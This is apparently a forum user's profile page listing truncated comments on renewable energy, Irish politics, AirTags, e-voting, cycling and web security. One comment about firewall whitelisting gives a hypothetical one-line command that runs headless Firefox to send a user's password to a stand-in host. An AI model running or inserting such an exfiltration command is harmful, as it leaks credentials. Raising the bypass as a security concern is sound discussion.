c0llision

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by c0llision 3y ago
gas power plant != natural gas power plant. Green hydrogen gas generated from excess renewables and biogas exist, and can often be used in existing power plants. Though they are expensive right now, we've no idea how the technology may
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by c0llision 3y ago
>Natural gas is neither renewable nor emission-free when burning Yes you are correct, in fact I actually addressed that in the later part of my comment >From 2030 onwards the focus will be on decarbonising the remaining ~20% of electr
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by c0llision 3y ago
I think the idea that renewables have to be paired with large amounts of energy storage is not correct. In Ireland dispatchable power is used when wind is low. Natural gas, hydroelectric, HVDC, pumped storage. Lithium ion batteries are gene
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by c0llision 3y ago
I remember not too long ago Ireland had blasphemy laws. Does anyone remember what happened to the guy who was criminally charged for mocking God on TV?
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by c0llision 3y ago
I don't have an AirTag, but I think if you get the notification you can make the tag play noise to help find it.
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by c0llision 3y ago
The newer models have replaceable batteries
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by c0llision 4y ago
I somewhat agree, but at the same time, e-voting via internet and phone has been a thing in Estonia since the 90's. I think it's a terrible idea, but it's how it's done there. I don't think it would be that foolish
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by c0llision 4y ago
It seems many Americans do want to start companies in Europe though. US multinationals directly employ about 190,000 people in Ireland, a country with a total population of 5 million.
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by c0llision 5y ago
I lived in Amsterdam for 5 years. I'm not entirely sure what your talking about with the pedestrian path being beside the cycle lane. They are normally on two different levels, there is a curb. I also never found it that dangerous to b
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by c0llision 5y ago
Lol, what facts and logic? Your original comment contains none of these, just your own personal assertions. literally listen to yourself, this article was originally about children cycling to school, now you are connecting this to the WEF c
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by c0llision 5y ago
Lmao, so people wanting children to be able to cycle safely to school is communism? >The risk of biking injuries is always present Lol. Because nobody was ever injured in a car before. What do you think are the major source of cycling in
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by c0llision 6y ago
True, but: 1. You didn't have to count 151 million votes in the UK election 2. You didn't have to wait a few days for mail-in ballots that were delayed in transit to arrive 3. You didn't have to do this in the middle of a glo
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by c0llision 6y ago
I don't think hashes of email addresses are very secure. You can get all of the email addresses from the smtp logs. There are also massive email lists out there that the attacker could run the hashes against, like the adobe leak. Email
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by c0llision 7y ago
You would need to do that for every domain firefox talks too, which will quickly get annoying, as stated in the original comment: Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they&
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by c0llision 7y ago
Once you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass" ?
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by c0llision 7y ago
I had this problem earlier today too. I was able to sign-in using an incognito window and after a few hours all was back to normal.
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by c0llision 8y ago
Damn, now I have to change my hosts file, I've been using .dev for local development